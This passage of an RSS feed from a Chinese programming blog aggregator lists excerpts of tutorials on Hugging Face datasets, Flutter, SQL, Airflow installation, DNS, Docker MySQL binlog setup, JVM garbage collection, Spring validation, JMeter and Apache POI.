      <description>huggingface dataset中又很多开源数据集，使用起来非常方便，加载数据集代码如下所示。&#xA;from datasets import load_dataset dataset = load_dataset(&#34;glue&#34;, &#34;ax&#34;) 有时，我们希望使用自己的数据集，又与huggingface代码兼容，那就要自己构建一个dataset了。&#xA;通常我们的数据是放在csv或excel表格中，通过pandas读取，那如何把表格数据转化为dataset呢？&#xA;csv文件或json文件，直接使用load_dataset from datasets import load_dataset import pandas as pd dataset = load_dataset(&#34;csv&#34;, data_files=&#34;my_file.csv&#34;) dataset = load_dataset(&#39;csv&#39;, data_files={&#39;train&#39;: &#39;train.csv&#39;, &#39;test&#39;: &#39;test.csv&#39;}) dataset = load_dataset(&#34;json&#34;, data_files=&#34;my_file.json&#34;) dataset = load_dataset(&#39;json&#39;, data_files={&#39;train&#39;: &#39;train.json&#39;, &#39;test&#39;: &#39;test.json&#39;}) 通过DatasetDict与from_pandas分别构建 import pandas as pd from datasets import Dataset, DatasetDict train = Dataset.from_pandas(pd.read_csv(&#39;train_spam.csv&#39;)) test = Dataset.from_pandas(pd.read_csv(&#39;test_spam.csv&#39;)) dataset = DatasetDict() dataset[&#39;train&#39;] = train dataset[&#39;test&#39;] = test 通过python的 dict、list、generator构建 from datasets import Dataset # dict my_dict = {&#34;</description>
    </item>
    <item>
      <title>Android与Flutter混合开发之flutter_boost</title>
      <link>https://bchobby.github.io/posts/f4cd232f181c33efe84a8fa402713e19/</link>
      <pubDate>Fri, 03 Feb 2023 14:28:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4cd232f181c33efe84a8fa402713e19/</guid>
      <description>一、背景 近期在做Android项目转型为Flutter，在转型的过程中，我们选择的是各业务模块逐各替换的方式。这种方式下必然会涉及到Android与Flutter的交互，而阿里提供的flutter_boost就是交互之作。&#xA;二、demo介绍 github:https://github.com/zbyJade/AndroidWithFlutter.git&#xA;如果下载后请进行如下操作&#xA;image.png&#xA;如果还报错请重启&#xA;image.png&#xA;功能介绍：&#xA;Android原生界面跳转Flutter界面，并传参&#xA;Flutter界面跳转Android原生界面，并传参&#xA;Android和Flutter在同一界面显示&#xA;1.jpg&#xA;2.jpg&#xA;3.jpg&#xA;4.jpg&#xA;三、创建flutter_module 1.为了使demo代码简洁，新建一个Android工程，我用的是AS 3.6.3 image.png&#xA;image.png&#xA;2.新建flutter module image.png&#xA;image.png&#xA;Project location 建议选择到你的Android project下，这样较清晰&#xA;image.png&#xA;image.png&#xA;3.添加配置(AS 3.6会自动生成) Project Settings&#xA;evaluate(new File( settingsDir, &#39;flutter_module/.android/include_flutter.groovy&#39; )) include &#39;:flutter_module&#39; app build.grade&#xA;implementation project(path: &#39;:flutter&#39;) 4.创建module后，产生的问题和解决办法（如果没有出现更好） 问题1：该Wring可忽略&#xA;image.png&#xA;问题2：&#xA;image.png&#xA;定位到问题文件，可删除框内文件&#xA;image.png&#xA;四、依赖flutter_boost https://pub.dev/&#xA;image.png&#xA;如果你使用了Androidx找到兼容的版本&#xA;image.png&#xA;添加flutter_boost最新依赖&#xA;image.png&#xA;实现过程如下&#xA;flutter_boost: ^1.12.13+1 image.png&#xA;image.png&#xA;如果要是没有出现flutter和flutter_boost的module就稍微等一会&#xA;image.png&#xA;添加module</description>
    </item>
    <item>
      <title>【SQL】SQL入门数据分析</title>
      <link>https://bchobby.github.io/posts/b9c36478983cc63c5a7a6102ae581f55/</link>
      <pubDate>Fri, 03 Feb 2023 12:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9c36478983cc63c5a7a6102ae581f55/</guid>
      <description>一、My SQL基础介绍 数据库作用：可以持久化数据库至本地；实现结构化查询。&#xA;数据库常见概念：DB——数据库；DBMS——数据库管理系统；SQL——结构化查询语言。&#xA;数据库存储特点：数据库存储至表中，表再存放在数据库；一个表含多个表，每个表具有唯一的标识；表中含一个或多个列，列又称为字段。&#xA;常见的数据库管理系统：MySQL,Oracle,SQLsever&#xA;MySQL优点：开源，成本低，体积小，移植性好，属于C/S软件。&#xA;学习目录 一、My SQL基础介绍1.1 My SQL的启动和登录1.2 My SQL常见命令1.3 My SQL语法规范 二、DQL部分(Data Query Language)2.1 基础查询2.1.1 查询表中的单个字段2.1.2 查询表中的多个字段2.1.3 查询表中所有字段2.1.4 查询常量值2.1.5 查询表达式2.1.6 查询函数2.1.7 查询结果起别名2.1.8 查询去重2.1.9 +号的作用 2.2 条件查询2.2.1 按条件运算符筛选2.2.2 按逻辑表达式筛选2.2.3 模糊查询 2.3 排序查询2.4 函数2.4.1 单行函数2.4.2 分组函数 2.3 分组查询2.4 连接查询（多表查询）2.4.1 内连接（sql92）2.4.1.1 等值连接 2.4.1.2 非等值连接2.4.1.3 自连接 2.4.2 连接（sql99)2.4.2.1 内连接2.4.2.2 外连接 2.5 子查询2.5.1 where或having后面2.5.2 select后面2.5.3 from后面2.5.4 exists后面 2.6 分页查询2.7 Union联合查询 三、DML语言（Data Manipulation Language）3.1 插入语句3.2 修改语句3.2.1 修改单表的记录3.2.2 修改多表的记录 3.3 删除语句 四、DDL语言(Data Definition Language)4.</description>
    </item>
    <item>
      <title>（附源码）springboot基于java的校园二手书籍交易平台  毕业设计131558</title>
      <link>https://bchobby.github.io/posts/f71cb2376de8aaa4aeba947e4030fe27/</link>
      <pubDate>Fri, 03 Feb 2023 09:57:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f71cb2376de8aaa4aeba947e4030fe27/</guid>
      <description>校园二手书籍交易平台的设计与实现&#xA;摘要&#xA;随着计算机技术和网络技术的迅速发展，网上购物已经融入了人们的日常生活中，电子商务也因此流行起来。国内的京东商城、天猫、苏宁易购等大型网站在图书销售等商品零售领域已经十分成熟完善，但是以高校学生二手书籍为主的二手图书资源目前还没有得到合理的开发利用。本人设计和实现的校园二手书籍交易平台是通过合理的市场调查然后才着手实施的。系统分为前台系统、后台系统。前台系统是面向用户，实现书籍查询和购买等功能，后台系统实现管理员对系统的管理和控制。用户端在把商品加入购物车后，可以填写地址及配送信息，付款方式可以选择货到付款等，同时购买后用户还可以对商品做出反馈评价，管理员端可以查看到订单详情进行管理控制等。此设计能够实现对校园的二手书籍资源有效的利用和管理，消除旧书的浪费以及管理的弊端，根据图书销售的基本流程，实现校园二手书籍销售管理的电子化。&#xA;关键词：二手书籍；MySQL数据库；交易平台&#xA;Design and implementation of campus second-hand book trading platform&#xA;Abstract&#xA;With the rapid development of computer technology and network technology, online shopping has been integrated into people&#39;s daily life, and e-commerce has become popular. Domestic Jingdong Mall, tmall, Suning Tesco and other large websites have been very mature and perfect in the field of book sales and other commodity retail, but the second-hand book resources dominated by second-hand books of college students have not been reasonably developed and utilized.</description>
    </item>
    <item>
      <title>调度工具—AirFlow 安装指南</title>
      <link>https://bchobby.github.io/posts/e8c0ff9500ae74d4a9b7465d10b4c669/</link>
      <pubDate>Fri, 03 Feb 2023 09:05:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8c0ff9500ae74d4a9b7465d10b4c669/</guid>
      <description>Airflow 基本知识和安装教程参考&#xA;Airflow 入门及使用 - 知乎 (zhihu.com)&#xA;Airflow 1.10安装 - 知乎 (zhihu.com)&#xA;Centos 7 安装Airflow_西卡同学的csdn的博客-CSDN博客&#xA;Airflow 和 Azkaban的选型&#xA;新建环境 # 注意版本问题哦~最好一致 python=3.7 airflow==1.10.3 # Note 注意 airflow 版本问题！！！ pip 安装的时候注意指定版本！！！！！ # 高版本的 airflow 会出现比较多的 no module named xxx 错误 # eg： No Module named airflow.contrib.auth # eg: No Module name airflow.www.fab_security 添加环境变量 vim /etc/profile export AIRFLOW_HOME=~/airflow source /etc/profile cd /root/airflow # 注意这个文件保存的是 airlfow 的配置文件 后期需要进行修改 # 如果安装高版本之后发现报错进行不下去， 重新安装的 airflow 的时候 先卸载 pip install apache-airflow, 然后删掉这个目录 rm -rf ~/airflow # 然后干掉mysql里面的 ariflowdb(自己建的数据库, 名字可能不一样, 有的教程是 airflow) 数据库 环境准备 yum install mysql-devel gcc gcc-devel python-devel zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel # 不建议之间修改默认的 pypi 数据源, 后期如果安装一些比较新的包, 清华镜像源可能没有，但是大概率是有的，直接修改默认镜像源没什么问题 python3 -m pip install --upgrade pip -i https://pypi.</description>
    </item>
    <item>
      <title>三极管恒流源LED驱动电路（Proteus）</title>
      <link>https://bchobby.github.io/posts/d2eaa3078411fa01cc87813b354dd63d/</link>
      <pubDate>Thu, 02 Feb 2023 23:59:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2eaa3078411fa01cc87813b354dd63d/</guid>
      <description>1 整流电路 整流电路如下，电压源参数设置为220v,50hz;设计整流桥对交流电整流&#xA;电流流经方向如图标注：&#xA;得到的整流电流如下：&#xA;黄色表示电压源信号，蓝色表示整流后的信号&#xA;将波形放大，发现存在部分截止，原因是二极管存在压降&#xA;2 恒流源驱动电路 设计如下&#xA;将整流电路中的R1电阻换成10uf的储能电容（一般选用耐压高的电解电容）&#xA;三极管处于放大状态，即Ube两端压降为0.6V左右，除以120欧电阻，得到Ie电流为5mA，所以Ic≈Ie=5mA;&#xA;【注意】记得给整流电路负端添加GND，否则Proteus仿真报错&#xA;用示波器检查波形，基本满足恒流&#xA;但仍带有部分纹波</description>
    </item>
    <item>
      <title>DNS服务解析与原理笔记</title>
      <link>https://bchobby.github.io/posts/76f65b6eebcdf8c42db487d5f7fb8e5d/</link>
      <pubDate>Thu, 02 Feb 2023 22:23:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76f65b6eebcdf8c42db487d5f7fb8e5d/</guid>
      <description>引言DNS介绍DNS原理与解析DNS查询DNS服务搭建DNS劫持和污染计算机面试 or 真题DNS应用扩展参考与推荐 引言 我想很多人遇到过这样一种情况，电脑突然上不了网了，或者说可以登陆QQ，但是进不了网页，任何网页都会出现如下的类似截图：&#xA;有些浏览器可能还要再多一层，会弹出故障检测，然后再是DNS配置选项错误，这时候的解决方案，可以是用本地安装的电脑管家的工具箱里，找到“网页打不开”的故障维修功能，大概率是能修复的，当然，也可以手动去更新配置，见百度知道里的DNS修改步骤：&#xA;全部过程链接为：https://baijiahao.baidu.com/s?id=1726267633457240930&amp;amp;wfr=spider&amp;amp;for=pc&#xA;那么本篇就是想探究一下DNS的相关原理，更加系统的记录一下DNS从查询，搭建到扩展的应用，如下内容将主要使用Linux演示。&#xA;DNS介绍 DNS 是 Domain Name System（域名系统）的简称，DNS 是一个分层的分布式命名系统，用于连接到互联网或专用网络的计算机，服务或其他资源。它将各种信息与分配给每个参与实体的域名关联起来。&#xA;简单来说其最大的功能就是将域名翻译成 IP 地址，例如bilibili的 IP 地址就是一串毫无规则的数字，其中之一为110.43.33.47，或者ping www.bilibili.com后查询到的IP为157.148.134.11，这不利于记忆，且因为有CDN等因素外，并不唯一，同样，同个IP，也可以具有多个DNS，这个后续会解释原因，所以，还是直接输入B站的com域名更加方便。&#xA;域名是由多个部分构成的，跟人的名字一样，由姓氏与名字组合而成，构成域名的每个部分称为一个区域（zone），主要是这样分级的：主机名.二级域名.顶级域名. 这样通常就代表了一个IP，而域名的集合成的系统，可以看成是一个IP地址和域名相互映射的分布式数据库，就像一本家族的族谱。&#xA;如果需要查询得更快，本地会有一个local DNS服务器，Windows中的位置位于C:\Windows\System32\drivers\etc下的hosts文件：&#xA;而在Linux中，可直接用vim打开/etc/hosts文件查看所添加的DNS情况，比如我就在原来基础上加了一些我需要的，一般该文件存放常用的 DNS 记录与开发中测试使用的服务器记录：&#xA;127.0.0.1 localhost 140.82.114.4 github.com 199.232.69.194 github.global.ssl.fastly.net 140.82.112.10 codeload.Github.com 23.64.114.78 ngc.download.nvidia.cn # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 可以看到，hosts文件中分为了两部分，IP地址 + 域名的部分即为访问时会优先查询的一些链接，第二部分主要是ipv4或ipv6对应的地址，比如这里的::1是 IPv6 的本地地址表示方式，后面的类似。&#xA;以上就是本地添加DNS映射的操作，这里再列举一些常用的DNS服务选择：&#xA;首选DNS 备用DNS百度180.76.76.76124.251.124.251114114.114.114.114114.114.115.115腾讯119.29.29.29182.254.116.116阿里云223.5.5.5223.6.6.6谷歌8.8.8.88.8.4.4openDNS208.67.222.222208.67.220.220FreeDJS37.235.1.17437.235.1.177 一般来讲，较大的厂都设置了自己的DNS服务器，该添加哪个，哪个更好这些其实因人而异，作为远程的服务器，速度受到距离、请求方式等等制约，也有可能今天我添加Google的DNS感觉速度很快，明天发现就很慢了，emmm。。。那就是时空的第四维度了，说不得准，不过这个跟网速一样是有测试工具的，我在查找资料的时候，找到在Windows平台下的一个工具为：&#xA;DNSspeeder，这里Mark一下，但我没找到官网，感觉是作者闲着无聊时写得一个小工具吧，Linux下应该也有，不过我没有详细找了，测速能比较清晰的看到DNS速度的可视化，但平常也不会将很多的地址往里加，麻烦不说也意义不大，下面将分析DNS解析的原理与结构。</description>
    </item>
    <item>
      <title>15【简单】删除有序数组中的重复项</title>
      <link>https://bchobby.github.io/posts/234b65e396faddc1e2b5d2ddb7257b6c/</link>
      <pubDate>Thu, 02 Feb 2023 16:44:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/234b65e396faddc1e2b5d2ddb7257b6c/</guid>
      <description>一、题目描述 给你一个 升序排列 的数组 nums ，请你 原地 删除重复出现的元素，使每个元素 只出现一次 ，返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。&#xA;由于在某些语言中不能改变数组的长度，所以必须将结果放在数组nums的第一部分。更规范地说，如果在删除重复项之后有 k 个元素，那么 nums 的前 k 个元素应该保存最终结果。&#xA;将最终结果插入 nums 的前 k 个位置后返回 k 。&#xA;不要使用额外的空间，你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。&#xA;判题标准:&#xA;系统会用下面的代码来测试你的题解:&#xA;int[] nums = [...]; // 输入数组 int[] expectedNums = [...]; // 长度正确的期望答案 int k = removeDuplicates(nums); // 调用 assert k == expectedNums.length; for (int i = 0; i &amp;lt; k; i++) { assert nums[i] == expectedNums[i]; } 如果所有断言都通过，那么您的题解将被 通过。</description>
    </item>
    <item>
      <title>【JavaScript】Map对象</title>
      <link>https://bchobby.github.io/posts/8beb254e59eb56162a167ad59969d2c0/</link>
      <pubDate>Thu, 02 Feb 2023 15:33:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8beb254e59eb56162a167ad59969d2c0/</guid>
      <description>Map 对象存有键值对，其中的键可以是任何数据类型。&#xA;Map 对象记得键的原始插入顺序。&#xA;Map 对象具有表示映射大小的属性。&#xA;基本的 Map() 方法 MethodDescriptionnew Map()创建新的 Map 对象。set()为 Map 对象中的键设置值。get()获取 Map 对象中键的值。entries()返回 Map 对象中键/值对的数组。keys()返回 Map 对象中键的数组。values()返回 Map 对象中值的数组。 Map() 属性 PropertyDescriptionsize获取 Map 对象中某键的值。 创建 Map 对象 能够使用对象作为键是 Map 的一个重要特性。&#xA;实例&#xA;// 创建对象 const apples = {name: &#39;Apples&#39;}; const bananas = {name: &#39;Bananas&#39;}; const oranges = {name: &#39;Oranges&#39;}; // 创建新的 Map const fruits = new Map(); // Add new Elements to the Map fruits.set(apples, 500); fruits.</description>
    </item>
    <item>
      <title>docker mysql 重新设置binlog</title>
      <link>https://bchobby.github.io/posts/f2ff4ca802d6392b9da0c739b4e4fd60/</link>
      <pubDate>Thu, 02 Feb 2023 15:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2ff4ca802d6392b9da0c739b4e4fd60/</guid>
      <description>【mysql5.7.x默认没有开启】docker mysql开启 log_bin日志(mysql5.7.x)&#xA;mysql ---&amp;gt; 为mysql的docker容器的name，你也可以使用mysql的docker容器的id 开启log_bin的docker容器配置 docker exec mysql bash -c &#34;echo &#39;server-id=1&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.conf.d/mysqld.cnf&#34;&#xA;docker exec mysql bash -c &#34;echo &#39;sync_binlog=1&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.conf.d/mysqld.cnf&#34;&#xA;docker exec mysql bash -c &#34;echo &#39;log-bin=/var/lib/mysql/mysql-bin&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.conf.d/mysqld.cnf&#34;&#xA;docker exec mysql bash -c &#34;echo &#39;binlog_cache_size=256M&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.conf.d/mysqld.cnf&#34;&#xA;docker exec mysql bash -c &#34;echo &#39;binlog_format=mixed&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.conf.d/mysqld.cnf&#34;&#xA;docker exec mysql bash -c &#34;echo &#39;binlog-ignore-db=mysql,information_schema,performance_schema,sys&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.conf.d/mysqld.cnf&#34;&#xA;docker exec mysql bash -c &#34;echo &#39;lower_case_table_names=1&#39; &amp;gt;&amp;gt; /etc/mysql/mysql.</description>
    </item>
    <item>
      <title>使用__attribute__((at()))来进行绝对定位</title>
      <link>https://bchobby.github.io/posts/d0edda79898482571eb48b655b780ecf/</link>
      <pubDate>Thu, 02 Feb 2023 15:21:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0edda79898482571eb48b655b780ecf/</guid>
      <description>定位结构体地址 typedef struct { uint32_t magic_word; /*!&amp;lt; Magic word ESP_APP_DESC_MAGIC_WORD */ uint32_t secure_version; /*!&amp;lt; Secure version */ uint32_t reserv1[2]; /*!&amp;lt; --- */ char version[32]; /*!&amp;lt; Application version */ char project_name[32]; /*!&amp;lt; Project name */ char time[16]; /*!&amp;lt; Compile time */ char date[16]; /*!&amp;lt; Compile date*/ char idf_ver[32]; /*!&amp;lt; Version IDF */ uint8_t app_elf_sha256[32]; /*!&amp;lt; sha256 of elf file */ uint32_t reserv2[20]; /*!&amp;lt; --- */ } sprt_app_desc_t; /* MDK AC5 */ __attribute__((at(0x08000000))) const uint32_t cnt; //cnt 0x08000000 Data 4 main.</description>
    </item>
    <item>
      <title>Dockerfile构建Tomcat镜像</title>
      <link>https://bchobby.github.io/posts/62fe3e90c06191a7b580976b09dea366/</link>
      <pubDate>Thu, 02 Feb 2023 14:52:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62fe3e90c06191a7b580976b09dea366/</guid>
      <description>Dockerfile构建Tomcat镜像 构建步骤1 编写Dockfile文件2 dockcer build构建镜像3 docker run运行容器4 使用容器卷挂载 搜索镜像的个数&#xA;docker search tomcat |wc -l 因此，需要根据自己的项目需求来针对性的构建镜像&#xA;构建步骤 1 编写Dockfile文件 看成在编写一个纯净的LInux系统的计算机拥有的功能&#xA;Dockerfile文件内容是：&#xA;FROM java:8 MAINTAINER xxx&amp;lt;xxx@163.com&amp;gt; WORKDIR /opt ADD ./apache-tomcat-9.0.71.tar.gz /usr/local WORKDIR /usr/local ENV TOMCAT_HOME=/usr/local/apache-tomcat-9.0.71 ENV PATH=$PATH:$TOMCAT_HOME/bin EXPOSE 8080 CMD startup.sh &amp;amp;&amp;amp; tail -F /usr/local/apache-tomcat-9.0.71/bin/catalina.bat 2 dockcer build构建镜像 docker build -t mytomcat:v1 . 注意，镜像的命名不能大写。。。&#xA;查看所有镜像&#xA;3 docker run运行容器 docker run --name mytomcatv1 -d -p 8080:8080 mytomcat:v1 成功启动容器。。&#xA;再进入容器&#xA;docker exec -it 55 /bin/bash 成功构建完成。。</description>
    </item>
    <item>
      <title>深入理解JVM（十五）垃圾回收相关概念</title>
      <link>https://bchobby.github.io/posts/9633feb4574524c321669814c6816c81/</link>
      <pubDate>Thu, 02 Feb 2023 13:00:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9633feb4574524c321669814c6816c81/</guid>
      <description>一、System.gc()的理解 在默认情况下，通过 System.gc () 或者 Runtime.getRuntime().gc() 的调用，会显式触发 Full GC，同时对老年代和新生代进行回收，尝试释放被丢弃对象占用的内存。&#xA;System.gc() 调用附带一个免责声明，无法保证对垃圾收集器的调用(无法保证马上触发 GC)。&#xA;以下代码如果注掉 System.runFinalization() ，那么控制台不保证一定打印，证明了 System.gc() 无法保证 GC 一定执行。&#xA;public class SystemGCTest { public static void main(String[] args) { new SystemGCTest(); System.gc();//提醒jvm的垃圾回收器执行gc,但是不确定是否马上执行gc //与Runtime.getRuntime().gc()的作用一样。 System.runFinalization();//强制调用使用引用的对象的finalize()方法 } @Override protected void finalize() throws Throwable { super.finalize(); System.out.println(&#34;SystemGCTest 重写了finalize()&#34;); } } 手动 GC 理解不可达对象的回收行为 首先说明一个问题：开启了逃逸分析，没有逃逸的对象一定会在栈中分配吗？&#xA;在 Hotspot 中采用的是解释器和编译器并行架构，所谓的混合模式，就是解释器和编译器搭配使用，当程序启动初期，采用解释器执行（同时会记录相关的数据，比如函数的调用次数，循环语句执行次数），节省编译的时间。在使用解释器执行期间，记录的函数运行的数据，通过这些数据发现某些代码是热点代码，采用编译器对热点代码进行编译，以及优化（逃逸分析就是其中一种优化技术），也就是当成为热点代码才会通过逃逸分析优化。&#xA;再具体一点，逃逸分析有两个条件&#xA;不能逃出当前方法，--不可逃逸条件这个方法执行了上万次，才会执行逃逸分析的逻辑判断 以下的代码满足不可逃逸条件，但是不满足执行次数，不要认为这些都在栈上分配&#xA;// 执行GC,引用未释放，survivor区放不下10M数据，直接放入old区 public void localvarGC1() { byte[] buffer = new byte[10 * 1024 * 1024];//10MB System.</description>
    </item>
    <item>
      <title>@Valid与@Validated区别</title>
      <link>https://bchobby.github.io/posts/497c5a729800ab61fc041a228502b646/</link>
      <pubDate>Thu, 02 Feb 2023 11:33:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/497c5a729800ab61fc041a228502b646/</guid>
      <description>1.@Valid与@Validated作用&#xA;@Valid与@Validated都是用来校验接收参数的。 @Valid是使用Hibernate validation的时候使用 @Validated是只用Spring Validator校验机制使用 说明：java的JSR303声明了@Valid这类接口，而Hibernate-validator对其进行了实现。 @Validated与@Valid区别： @Validated：可以用在类型、方法和方法参数上。但是不能用在成员属性（字段）上，不支持嵌套检测 @Valid：可以用在方法、构造函数、方法参数和成员属性（字段）上，支持嵌套检测 注意:SpringBoot使用@Valid注解需要引入如下POM &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-validation&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.为什么要用@Valid或@Validated&#xA;@Valid与@Validated都是用来校验接收参数的，如果不使用注解校验参数，那么就需要在业务代码中校验，这 样会增加很多的工作量并且代码不优美。 @RestController @RequestMapping(&#34;/valid&#34;) public class ValidControllerTest { public static final Logger logger = LoggerFactory.getLogger(ValidControllerTest.class.getName()); @PostMapping(&#34;/login&#34;) public String doLogin(@RequestBody LoginUser loginUser){ if(StringUtils.isEmpty(loginUser.getPhone())){ //抛出异常 logger.error(&#34;伪代码抛出异常---可以用全局异常捕获&#34;); } if(StringUtils.isEmpty(loginUser.getPassWord())){ //抛出异常 logger.error(&#34;伪代码抛出异常---可以用全局异常捕获&#34;); } return &#34;数据校验通过&#34;; } } 如果需要判断多个参数，那就需要写多个if判断，这样会增加编码工作量并且这样写的不优美。 3.使用@Valid或@Validated来做一个简单的案例&#xA;如果@Valid|Validated校验不通过，那么错误信息就会封装到BindingResult对象了，可以通过 BindingResult的相关方法获取详细的错误信息并返回给用户。 代码如下： public class LoginUser { @NotBlank(message = &#34;手机号码不能为空&#34;) private String phone; @NotBlank(message = &#34;密码不能为空&#34;) private String passWord; } @RestController @RequestMapping(&#34;</description>
    </item>
    <item>
      <title>jmeter安装及环境配置</title>
      <link>https://bchobby.github.io/posts/0de20ce2d7315a24def6e5dcbe2a0484/</link>
      <pubDate>Thu, 02 Feb 2023 09:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0de20ce2d7315a24def6e5dcbe2a0484/</guid>
      <description>一、安装jdk，配置jdk环境&#xA;1、下载所需要版本的jdk并安装&#xA;下载地址：http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html&#xA;（注：JDK—JAVA开发工具包、JRE—JAVA运行时环境、JVM—JAVA虚拟机）&#xA;2、配置jdk环境变量&#xA;1）、我的电脑–鼠标右键单击–选择属性&#xA;2）点击高级系统设置—点击环境变量&#xA;3）系统变量中找到JAVA_HOME、PATH、CLASSPATH进行如下配置&#xA;JAVA_HOME：D:\Program Files (x86)\Java\jdk1.8.0_131（jdk安装在哪个盘就写哪个路径）&#xA;Path：%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin（ps:尽可能保证%JAVA_HOME%\bin在path最前面）&#xA;CLASSPATH：%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar&#xA;4）配置完成，打开cmd，验证jdk安装和配置是否成功&#xA;输入java -version 验证版本号，出现如下所示说明安装成功&#xA;输入java 验证系统环境变量PATH配置，出现如下则表示环境已配好&#xA;二、下载Jmeter&#xA;1、下载地址：&#xA;最新版本：http://jmeter.apache.org/download_jmeter.cgi&#xA;历史版本：http://archive.apache.org/dist/jmeter&#xA;Source 是源代码版，你需要自己编译成可执行软件。&#xA;Binaries是可执行版，直接下载解压就可以拿来用的，已经编译好的版本&#xA;zip格式是windows系统的，tgz格式是linux系统&#xA;下载后解压放到对应位置（我解压到D盘tool文件夹下）&#xA;2、JMETER环境配置&#xA;1）我的电脑–鼠标右键单击–选择属性–点击高级系统设置—点击环境变量进行如下配置&#xA;JMETER_HOME：D:\Tool\apache\apache-jmeter-5.4.1&#xA;CLASSPATH：%JMETER_HOME%\lib\ext\ApacheJMeter_core.jar;%JMETER_HOME%\lib\jorphan.jar;&#xA;Path：%JMETER_HOME%\bin&#xA;2）检查环境配置是否成功&#xA;cmd 输入jmeter看是否能启动一个jmeterGUI，启动说明配置成功&#xA;3、JMETER目录介绍及启动&#xA;jmeter的目录结构：&#xA;bin目录：该目录存放的是jmeter的主jar包、主配置文件、启动脚本等&#xA;ApacheJMeter.jar：该目录是jmeter的主jar包，可以通过下列命令启动jmeter(java -jar ApacheJMeter.jar)&#xA;jmeter.bat/jmeter：该目录是jmeter的启动脚本，我们一般可以通过编辑的方式来修改jmeter启动时的JVM参数，根据需 要去调 整JVM中的heap（内存）大小&#xA;jmeter.properties：该目录是jmeter的主配置文件，jmeter中超过80%以上需要配置的内容在该文件中实现（ps:配置文件修改后需要重新启动才会生效）&#xA;docs目录：该目录下存放的是jmeter的api文档，用于二次开发&#xA;extras目录：存放的是jmeter和其他工具集成所需要的文件&#xA;lib目录：该目录是jmeter启动时默认的classpath，这就意味着在使用jmeter进行测试的过程中，所以需要import操作（报错：xx class not found)的累必须打成jar包放入lib目录（ps：lib修改后，必须重启jmeter后才生效）&#xA;lib\ext目录：该目录时用来存放jmeter的组件、地三方的组件和插件的。（ps：组件、插件是指集成了jmeter的GUI框架，在GUI模式可见的部分）&#xA;printable_docs目录：该目录存放的是jmeter的官方帮助文档&#xA;找到jmeter文件—bin—jmeter.bat启动</description>
    </item>
    <item>
      <title>使用Workbook读取表格问题总结</title>
      <link>https://bchobby.github.io/posts/e4ad3599049c8b3144365a298441dacb/</link>
      <pubDate>Thu, 02 Feb 2023 09:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4ad3599049c8b3144365a298441dacb/</guid>
      <description>使用Workbook读取表格问题总结 一、Workbook类型二、问题总结1.SXSSFWorkbook为什么我Create了一万行Row但是却获取不到？2.读取表格 一、Workbook类型 Workbook分三种类型：&#xA;1.HSSFWorkbook 用于Excel2003版及更早版本(扩展名为.xls)的导出；&#xA;2.XSSFWorkbook 用于Excel2007版(扩展名为.xlsx)的导出；&#xA;3.SXSSFWorkbook：相对前面两种，会在导出数据达到万以上的数据，会报内存不足，导致失败的问题。这时就要用到sxssf，来导出较大数据量&#xA;注:&#xA;HSSFWorkbook和XSSFWorkbook的Excel Sheet导出条数上限(&amp;lt;=2003版)是65535行、256列，(&amp;gt;=2007版)是1048576行,16384列,如果数据量超过了此上限，那么可以使用SXSSFWorkbook来导出。实际上上万条数据，甚至上千条数据就可以考虑使用SXSSFWorkbook了。&#xA;经测试，同样向表格中写入50w条数据，使用SXSSFWorkbook向Excel中写入50万条数据，只需要34秒左右，内存占用率最多在700M左右，CPU使用率在25%左右；使用XSSFWorkbook内存占用率最多在2.1个G左右（占用了很大的内存），CPU使用率在90%左右，最后内存溢出了。。。&#xA;二、问题总结 1.SXSSFWorkbook为什么我Create了一万行Row但是却获取不到？ 这时要注意到SXSSFWorkbook的构造函数中的rowAccessWindowSize&#xA;这个参数，会指定一个sheet可读取的row数目，超过该数目的row，会被写入到磁盘文件中，进而不能在通过getRow访问到，通过这种方式，内存使用空间就缩小很多了。&#xA;需要注意的是，如果该值指定为-1，说明不限制行数，所有记录都写入内存中；该值不能取0，因为这意味着任何新row都会写入磁盘，进而不能访问&#xA;2.读取表格 读取表格时先要用XSSFWorkbook加载，再用SXSSFWorkbook 构造，代码如下（示例）：&#xA;InputStream fis = new FileInputStream(file); XSSFWorkbook xssfWorkbook = new XSSFWorkbook(fis); SXSSFWorkbook workbook = new SXSSFWorkbook(xssfWorkbook, -1); 而且读取内容、行数等时要先调用getXSSFWorkbook。因为所有的初始模板记录存在于XSSFWorkbook中，需要用sxssfWorkbook.getXSSFWorkbook()方法去获取初始模板的行数据。这也可以解释为什么其构造函数中有XSSFWorkbook了。例如下面获取sheet页行数的方法：&#xA;/** * 返回sheet 中的行数 * * @param sheetIx 指定 Sheet 页，从 0 开始 * @return */ public int 